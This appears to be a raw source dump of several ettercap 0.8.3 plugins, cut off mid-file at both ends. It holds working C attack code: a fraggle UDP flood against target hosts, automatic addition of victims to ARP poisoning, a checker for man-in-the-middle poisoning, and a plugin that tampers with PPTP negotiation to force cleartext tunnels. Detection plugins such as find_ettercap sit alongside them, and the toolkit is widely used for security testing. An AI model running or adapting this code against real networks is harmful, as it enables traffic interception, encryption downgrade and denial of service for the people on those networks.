if(!LIST_EMPTY(&arp_cop_table)) return; /* Fill the arp_cop_table with the initial host list */ LIST_FOREACH(h1, &EC_GBL_HOSTLIST, next) { SAFE_CALLOC(h2, 1, sizeof(struct hosts_list)); memcpy(&h2->ip, &h1->ip, sizeof(struct ip_addr)); memcpy(h2->mac, h1->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_cop_table, h2, next); } /* Add our IP address */ SAFE_CALLOC(h2, 1, sizeof(struct hosts_list)); memcpy(&h2->ip, &EC_GBL_IFACE->ip, sizeof(struct ip_addr)); memcpy(h2->mac, EC_GBL_IFACE->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_cop_table, h2, next); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/autoadd/0000755000175000017500000000000013505247364016353 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/autoadd/autoadd.c0000644000175000017500000001313513505247364020143 0ustar koeppeakoeppea/* autoadd -- ettercap plugin -- Report suspicious ARP activity Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include /* protos */ int plugin_load(void *); static int autoadd_init(void *); static int autoadd_fini(void *); static void parse_arp(struct packet_object *po); static int add_to_victims(void *group, struct packet_object *po); /* plugin operations */ struct plugin_ops autoadd_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "autoadd", /* a short description of the plugin (max 50 chars) */ .info = "Automatically add new victims in the target range", /* the plugin version. */ .version = "1.2", /* activation function */ .init = &autoadd_init, /* deactivation function */ .fini = &autoadd_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &autoadd_ops); } /******************* STANDARD FUNCTIONS *******************/ static int autoadd_init(void *dummy) { /* variable not used */ (void) dummy; /* * we'll use arp request to detect active hosts. * if an host sends arp rq, it want to communicate, * so it is alive */ hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_RUNNING; } static int autoadd_fini(void *dummy) { /* variable not used */ (void) dummy; hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; } /*********************************************************/ /* Parse the arp packets */ static void parse_arp(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct ip_list *t; /* if arp poisonin is not running, do nothing */ if (!is_mitm_active("arp")) return; /* don't add our addresses */ if (!ip_addr_cmp(&EC_GBL_IFACE->ip, &po->L3.src)) return; if (!memcmp(&EC_GBL_IFACE->mac, &po->L2.src, MEDIA_ADDR_LEN)) return; /* don't add undefined address */ if (ip_addr_is_zero(&po->L3.src)) return; /* search in target 1 */ if (EC_GBL_TARGET1->all_ip) { if (add_to_victims(&arp_group_one, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) if (add_to_victims(&arp_group_one, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } /* search in target 2 */ if (EC_GBL_TARGET2->all_ip) { if (add_to_victims(&arp_group_two, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) if (add_to_victims(&arp_group_two, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } } /* * add a victim to the right group. * the arp poisoning thread will automatically pick it up * since this function modifies directy the mitm internal lists */ static int add_to_victims(void *group, struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; LIST_HEAD(, hosts_list) *head = group; (void)tmp; /* search if it was already inserted in the list */ LIST_FOREACH(h, head, next) if (!ip_addr_cmp(&h->ip, &po->L3.src)) return -E_NOTHANDLED; SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); DEBUG_MSG("autoadd: added %s to arp groups", ip_addr_ntoa(&h->ip, tmp)); LIST_INSERT_HEAD(head, h, next); /* add the host even in the hosts list */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) if (!ip_addr_cmp(&h->ip, &po->L3.src)) return E_SUCCESS; /* * we need another copy, since the group lists * are freed by the mitm process */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); DEBUG_MSG("autoadd: added %s to hosts list", ip_addr_ntoa(&h->ip, tmp)); LIST_INSERT_HEAD(&EC_GBL_HOSTLIST, h, next); return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/find_ettercap/0000755000175000017500000000000013505247364017541 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/find_ettercap/find_ettercap.c0000644000175000017500000001155013505247364022516 0ustar koeppeakoeppea/* find_ettercap -- ettercap plugin -- Try to discover ettercap activity on the lan Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* protos */ int plugin_load(void *); static int find_ettercap_init(void *); static int find_ettercap_fini(void *); static void parse_ip(struct packet_object *po); static void parse_icmp(struct packet_object *po); static void parse_tcp(struct packet_object *po); /* plugin operations */ struct plugin_ops find_ettercap_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "find_ettercap", /* a short description of the plugin (max 50 chars) */ .info = "Try to find ettercap activity", /* the plugin version. */ .version = "2.0", /* activation function */ .init = &find_ettercap_init, /* deactivation function */ .fini = &find_ettercap_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &find_ettercap_ops); } /*********************************************************/ static int find_ettercap_init(void *dummy) { /* variable not used */ (void) dummy; /* add the hook in the dissector. */ hook_add(HOOK_PACKET_IP, &parse_ip); hook_add(HOOK_PACKET_ICMP, &parse_icmp); hook_add(HOOK_PACKET_TCP, &parse_tcp); return PLUGIN_RUNNING; } static int find_ettercap_fini(void *dummy) { /* variable not used */ (void) dummy; /* remove the hook */ hook_del(HOOK_PACKET_IP, &parse_ip); hook_del(HOOK_PACKET_ICMP, &parse_icmp); hook_del(HOOK_PACKET_TCP, &parse_tcp); return PLUGIN_FINISHED; } /* * parse the packet for ettercap traces */ static void parse_ip(struct packet_object *po) { struct libnet_ipv4_hdr *ip; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; ip = (struct libnet_ipv4_hdr *)po->L3.header; if (ntohs(ip->ip_id) == EC_MAGIC_16) USER_MSG("ettercap traces (ip) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); if (ntohs(ip->ip_id) == 0xbadc) USER_MSG("ettercap plugin (banshee) is killing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); } /* * parse the packet for ettercap traces */ static void parse_icmp(struct packet_object *po) { struct libnet_icmpv4_hdr *icmp; char tmp[MAX_ASCII_ADDR_LEN]; icmp = (struct libnet_icmpv4_hdr *)po->L4.header; if (ntohs(icmp->hun.echo.id) == EC_MAGIC_16 && ntohs(icmp->hun.echo.seq) == EC_MAGIC_16) USER_MSG("ettercap traces (icmp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); } /* * parse the packet for ettercap traces */ static void parse_tcp(struct packet_object *po) { struct libnet_tcp_hdr *tcp; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; tcp = (struct libnet_tcp_hdr *)po->L4.header; switch (ntohl(tcp->th_seq)) { case EC_MAGIC_16: USER_MSG("ettercap traces (tcp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); break; case 6969: USER_MSG("ettercap plugin (shadow) is scanning from %s to %s:%d...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2), ntohs(po->L4.dst)); break; case 0xabadc0de: if (ntohl(tcp->th_ack) == 0xabadc0de) USER_MSG("ettercap plugin (spectre) is flooding the lan.\n"); else USER_MSG("ettercap plugin (golem) is DOSing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); break; } if (ntohs(tcp->th_sport) == EC_MAGIC_16 && (tcp->th_flags & TH_SYN) ) USER_MSG("ettercap NG plugin (gw_discover) is trying to discover the gateway from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/fraggle_attack/0000755000175000017500000000000013505247364017670 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/fraggle_attack/fraggle_attack.c0000644000175000017500000000643713505247364023004 0ustar koeppeakoeppea/* * Copyright (c) Ettercap Dev. Team * * The fraggle attack plugin for ettercap. * * Written by: * Antonio Collarino (sniper) */ #include #include #include #include #include #include #define UDP_PORT_7 7 //udp echo #define UDP_PORT_19 19 //udp chargen /* prototypes */ int plugin_load(void *); static int fraggle_attack_init(void *); static int fraggle_attack_fini(void *); static EC_THREAD_FUNC(fraggler); /* globals */ struct plugin_ops fraggle_attack_ops = { .ettercap_version = EC_VERSION, .name = "fraggle_attack", .info = "Run a fraggle attack against hosts of target one", .version = "1.0", .init = &fraggle_attack_init, .fini = &fraggle_attack_fini, }; int plugin_load(void *handle) { return plugin_register(handle, &fraggle_attack_ops); } static int fraggle_attack_init(void *dummy) { struct ip_list *i; /* variable not used */ (void) dummy; DEBUG_MSG("fraggle_attack_init"); if(EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("fraggle_attack: plugin doesn't work in unoffensive mode.\n"); return PLUGIN_FINISHED; } if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) { USER_MSG("Add at least one host to target one list.\n"); return PLUGIN_FINISHED; } if(LIST_EMPTY(&EC_GBL_HOSTLIST)) { USER_MSG("Global host list is empty.\n"); return PLUGIN_FINISHED; } EC_GBL_OPTIONS->quiet = 1; INSTANT_USER_MSG("fraggle_attack: starting fraggle attack against hosts of target one.\n"); /* (IPv4) creating a thread per target 1 */ LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { ec_thread_new("fraggler", "thread performing a fraggle attack", &fraggler, &i->ip); } /*(IPv6) creating a thread per target 1 */ LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) { ec_thread_new("fraggler", "thread performing a fraggle attack", &fraggler, &i->ip); } return PLUGIN_RUNNING; } static int fraggle_attack_fini(void *dummy) { pthread_t pid; /* variable not used */ (void) dummy; DEBUG_MSG("fraggle_attack_fini"); while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("fraggler"))) { ec_thread_destroy(pid); } return PLUGIN_FINISHED; } static EC_THREAD_FUNC(fraggler) { struct ip_addr *ip; struct hosts_list *h, *htmp; u_int16 proto; u_int8 payload[8]; u_int16 port_echo, port_chargen; size_t length; DEBUG_MSG("EC_THREAD_FUNC fraggler"); ec_thread_init(); ip = EC_THREAD_PARAM; proto = ntohs(ip->addr_type); port_echo= htons(UDP_PORT_7); port_chargen= htons(UDP_PORT_19); memset(payload, 0, sizeof(payload)); length= (size_t) sizeof(payload); if((proto != AF_INET) && (proto != AF_INET6)) ec_thread_destroy(EC_PTHREAD_SELF); LOOP { CANCELLATION_POINT(); LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp) if(ntohs(h->ip.addr_type) == proto) { send_udp(ip, &h->ip, h->mac, port_echo, port_echo, payload, length); send_udp(ip, &h->ip, h->mac, port_chargen, port_chargen, payload, length); } ec_usleep(1000*1000/EC_GBL_CONF->sampling_rate); } return NULL; } ettercap-0.8.3/plug-ins/chk_poison/0000755000175000017500000000000013505247364017066 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/chk_poison/chk_poison.c0000644000175000017500000001451013505247364021367 0ustar koeppeakoeppea/* chk_poison -- ettercap plugin -- Check if the poisoning had success it sends a spoofed icmp packets to each victim with the address of any other target and listen for "forwardable" replies. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include #include struct poison_list { struct ip_addr ip[2]; char poison_success[2]; SLIST_ENTRY(poison_list) next; }; /* globals */ SLIST_HEAD(, poison_list) poison_table; /* mutexes */ static pthread_mutex_t poison_mutex = PTHREAD_MUTEX_INITIALIZER; #define POISON_LOCK do{ pthread_mutex_lock(&poison_mutex); } while(0) #define POISON_UNLOCK do{ pthread_mutex_unlock(&poison_mutex); } while(0) /* protos */ int plugin_load(void *); static int chk_poison_init(void *); static int chk_poison_fini(void *); static void parse_icmp(struct packet_object *po); /* plugin operations */ struct plugin_ops chk_poison_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "chk_poison", /* a short description of the plugin (max 50 chars) */ .info = "Check if the poisoning had success", /* the plugin version. */ .version = "1.1", /* activation function */ .init = &chk_poison_init, /* deactivation function */ .fini = &chk_poison_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &chk_poison_ops); } /******************* STANDARD FUNCTIONS *******************/ static int chk_poison_init(void *dummy) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *g1, *g2; struct poison_list *p; char poison_any, poison_full; u_char i; /* variable not used */ (void) dummy; /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; if (LIST_EMPTY(&arp_group_one) || LIST_EMPTY(&arp_group_two)) { INSTANT_USER_MSG("chk_poison: You have to run this plugin during a poisoning session.\n\n"); return PLUGIN_FINISHED; } /* Create a list with all poisoning targets */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { /* equal ip must be skipped, you cant poison itself */ if (!ip_addr_cmp(&g1->ip, &g2->ip)) continue; /* create the element and insert it in the list */ SAFE_CALLOC(p, 1, sizeof(struct poison_list)); memcpy(&(p->ip[0]), &g1->ip, sizeof(struct ip_addr)); memcpy(&(p->ip[1]), &g2->ip, sizeof(struct ip_addr)); SLIST_INSERT_HEAD(&poison_table, p, next); } } /* Add the hook to collect ICMP replies from the victim */ hook_add(HOOK_PACKET_ICMP, &parse_icmp); INSTANT_USER_MSG("chk_poison: Checking poisoning status...\n"); /* Send spoofed ICMP echo request to each victim */ SLIST_FOREACH(p, &poison_table, next) { for (i = 0; i <= 1; i++) { send_L3_icmp_echo(&(p->ip[i]), &(p->ip[!i])); ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } } /* wait for the response */ ec_usleep(SEC2MICRO(1)); /* remove the hook */ hook_del(HOOK_PACKET_ICMP, &parse_icmp); /* To check if all was poisoned, or no one */ poison_any = 0; poison_full = 1; /* We'll parse the list twice to avoid too long results printing */ SLIST_FOREACH(p, &poison_table, next) { for (i = 0; i <= 1; i++) if (p->poison_success[i]) poison_any = 1; else poison_full = 0; } /* Order does matter :) */ if (!poison_any) INSTANT_USER_MSG("chk_poison: No poisoning at all :(\n"); else if (poison_full) INSTANT_USER_MSG("chk_poison: Poisoning process successful!\n"); else SLIST_FOREACH(p, &poison_table, next) { for (i=0; i<=1; i++) if (!p->poison_success[i]) INSTANT_USER_MSG("chk_poison: No poisoning between %s -> %s\n", ip_addr_ntoa(&(p->ip[i]), tmp1), ip_addr_ntoa(&(p->ip[!i]), tmp2) ); } POISON_LOCK; /* delete the poisoning list */ while (!SLIST_EMPTY(&poison_table)) { p = SLIST_FIRST(&poison_table); SLIST_REMOVE_HEAD(&poison_table, next); SAFE_FREE(p); } POISON_UNLOCK; return PLUGIN_FINISHED; } static int chk_poison_fini(void *dummy) { /* variable not used */ (void) dummy; return PLUGIN_FINISHED; } /*********************************************************/ /* Check if it's the reply to our bougs request */ static void parse_icmp(struct packet_object *po) { struct poison_list *p; /* If the packet is not forwardable we haven't received it * because of the poisoning */ if (!(po->flags & PO_FORWARDABLE)) return; /* Check if it's in the poisoning list. If so this poisoning * is successfull. */ POISON_LOCK; SLIST_FOREACH(p, &poison_table, next) { if (!ip_addr_cmp(&(po->L3.src), &(p->ip[0])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[1]))) p->poison_success[0] = 1; if (!ip_addr_cmp(&(po->L3.src), &(p->ip[1])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[0]))) p->poison_success[1] = 1; } POISON_UNLOCK; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/link_type/0000755000175000017500000000000013505247364016730 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/link_type/link_type.c0000644000175000017500000001364213505247364021100 0ustar koeppeakoeppea/* link_type -- ettercap plugin -- Check the link type (hub\switch) it sends a spoofed arp request and waits for a reply Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* globals */ #define LINK_HUB 0 #define LINK_SWITCH 1 u_char linktype; struct hosts_list targets[2]; /* mutexes */ static pthread_mutex_t link_type_mutex = PTHREAD_MUTEX_INITIALIZER; /* protos */ int plugin_load(void *); static int link_type_init(void *); static EC_THREAD_FUNC(link_type_thread); static int link_type_fini(void *); static void parse_arp(struct packet_object *po); /* plugin operations */ struct plugin_ops link_type_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "link_type", /* a short description of the plugin (max 50 chars) */ .info = "Check the link type (hub/switch)", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &link_type_init, /* deactivation function */ .fini = &link_type_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &link_type_ops); } /******************* STANDARD FUNCTIONS *******************/ static int link_type_init(void *dummy) { /* variable not used */ (void) dummy; ec_thread_new("link_type", "plugin link_type", &link_type_thread, NULL); return PLUGIN_RUNNING; } static EC_THREAD_FUNC(link_type_thread) { /* variable not used */ (void) EC_THREAD_PARAM; u_char counter = 0; struct hosts_list *h; ec_thread_init(); PLUGIN_LOCK(link_type_mutex); /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("link_type: plugin doesn't work in UNOFFENSIVE mode\n"); PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } /* Performs some checks */ if (EC_GBL_PCAP->dlt != IL_TYPE_ETH) { INSTANT_USER_MSG("link_type: This plugin works only on ethernet networks\n\n"); PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } if (!EC_GBL_PCAP->promisc) { INSTANT_USER_MSG("link_type: You have to enable promisc mode to run this plugin\n\n"); PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } /* Take (if any) first two elements form the host list */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { memcpy(&(targets[counter].ip), &h->ip, sizeof(struct ip_addr)); memcpy(targets[counter].mac, h->mac, MEDIA_ADDR_LEN); counter++; if (counter == 2) break; } if (counter == 0) { INSTANT_USER_MSG("link_type: You have to build host list to run this plugin\n\n"); PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } /* * If we have only one element in the host list * use target mac address and our ip as source */ if (counter == 1) { INSTANT_USER_MSG("link_type: Only one host in the list. Check will be less reliable\n\n"); memcpy(&(targets[1].ip), &EC_GBL_IFACE->ip, sizeof(struct ip_addr)); memcpy(targets[1].mac, targets[0].mac, MEDIA_ADDR_LEN); } /* We assume switch by default */ linktype = LINK_SWITCH; INSTANT_USER_MSG("link_type: Checking link type...\n"); /* Add the hook to collect ARP replies from the victim */ hook_add(HOOK_PACKET_ARP, &parse_arp); /* Send bogus ARP request */ send_arp(ARPOP_REQUEST, &(targets[1].ip), targets[1].mac, &(targets[0].ip), targets[0].mac); /* wait for the response */ ec_usleep(SEC2MICRO(1)); /* remove the hook */ hook_del(HOOK_PACKET_ARP, &parse_arp); INSTANT_USER_MSG("link_type: You are plugged into a "); if (linktype == LINK_SWITCH) INSTANT_USER_MSG("SWITCH\n\n"); else INSTANT_USER_MSG("HUB\n\n"); PLUGIN_UNLOCK(link_type_mutex); plugin_kill_thread("link_type", "link_type"); return PLUGIN_FINISHED; } static int link_type_fini(void *dummy) { /* variable not used */ (void) dummy; pthread_t pid; pid = ec_thread_getpid("link_type"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("link_type: plugin terminated...\n"); return PLUGIN_FINISHED; } /*********************************************************/ /* Check if it's the reply to our bougs request */ static void parse_arp(struct packet_object *po) { if (!memcmp(po->L2.dst, targets[1].mac, MEDIA_ADDR_LEN)) linktype = LINK_HUB; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/pptp_clear/0000755000175000017500000000000013505247364017063 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/pptp_clear/pptp_clear.c0000644000175000017500000001453113505247364021364 0ustar koeppeakoeppea/* pptp_clear -- ettercap plugin -- Tries to force PPTP cleartext connections Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include struct ppp_lcp_header { u_char code; u_char ident; u_int16 length; }; #define PPP_CONFIGURE_REQUEST 0x01 #define PPP_CONFIGURE_REJ 0x04 #define PPP_REQUEST_FCOMP 0x07 #define PPP_REQUEST_ACOMP 0x08 #define PPP_REQUEST_VJC 0x02 #define PPP_REQUEST_DUMMY1 0xe7 #define PPP_REQUEST_DUMMY2 0x7e #define PPP_OBFUSCATE 0x30 /* protos */ int plugin_load(void *); static int pptp_clear_init(void *); static int pptp_clear_fini(void *); static void parse_lcp(struct packet_object *po); static void parse_ecp(struct packet_object *po); static void parse_ipcp(struct packet_object *po); static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); static void obfuscate_options(u_char * buffer, int16 tot_len); /* plugin operations */ struct plugin_ops pptp_clear_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "pptp_clear", /* a short description of the plugin (max 50 chars) */ .info = "PPTP: Tries to force cleartext tunnel", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &pptp_clear_init, /* deactivation function */ .fini = &pptp_clear_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &pptp_clear_ops); } /******************* STANDARD FUNCTIONS *******************/ static int pptp_clear_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("pptp_clear: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("pptp_clear: plugin running...\n"); hook_add(HOOK_PACKET_LCP, &parse_lcp); hook_add(HOOK_PACKET_ECP, &parse_ecp); hook_add(HOOK_PACKET_IPCP, &parse_ipcp); return PLUGIN_RUNNING; } static int pptp_clear_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("pptp_clear: plugin terminated...\n"); hook_del(HOOK_PACKET_LCP, &parse_lcp); hook_del(HOOK_PACKET_ECP, &parse_ecp); hook_del(HOOK_PACKET_IPCP, &parse_ipcp); return PLUGIN_FINISHED; } /*********************************************************/ /* Clear Header Compression */ static void parse_lcp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_char *option; if (!(po->flags & PO_FORWARDABLE)) return; lcp = (struct ppp_lcp_header *)po->L4.header; if ( lcp->code == PPP_CONFIGURE_REQUEST) { if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_FCOMP, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_DUMMY1; if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_ACOMP, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_DUMMY2; } if ( lcp->code == PPP_CONFIGURE_REJ) { if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_FCOMP; if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY2, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_ACOMP; } } /* Clear Compression and Encryption */ static void parse_ecp(struct packet_object *po) { struct ppp_lcp_header *lcp; if (!(po->flags & PO_FORWARDABLE)) return; lcp = (struct ppp_lcp_header *)po->L4.header; if (lcp->code == PPP_CONFIGURE_REQUEST || lcp->code == PPP_CONFIGURE_REJ) obfuscate_options((u_char *)(lcp + 1), ntohs(lcp->length)-sizeof(*lcp)); } /* Clear Van Jacobson Compression */ static void parse_ipcp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_char *option; if (!(po->flags & PO_FORWARDABLE)) return; lcp = (struct ppp_lcp_header *)po->L4.header; if ( lcp->code == PPP_CONFIGURE_REQUEST) if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_VJC, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_DUMMY1; if ( lcp->code == PPP_CONFIGURE_REJ) if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) option[0] = PPP_REQUEST_VJC; } /* Search an option in the packet */ static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ char counter=0; while (tot_len>0 && *buffer!=option && counter<20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } if (*buffer == option) return buffer; return NULL; } /* Change the requested options to something unknown * and viceversa */ static void obfuscate_options(u_char * buffer, int16 tot_len) { char counter=0; while (tot_len>0 && counter<20) { if (buffer[0]>0 && buffer[0]!=0xff) buffer[0]^=PPP_OBFUSCATE; tot_len -= buffer[1]; buffer += buffer[1]; counter++; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/gre_relay/0000755000175000017500000000000013505247364016703 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/gre_relay/gre_relay.c0000644000175000017500000001370213505247364021023 0ustar koeppeakoeppea/* gre_relay -- ettercap plugin -- Tunnel broker for redirected GRE tunnels Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 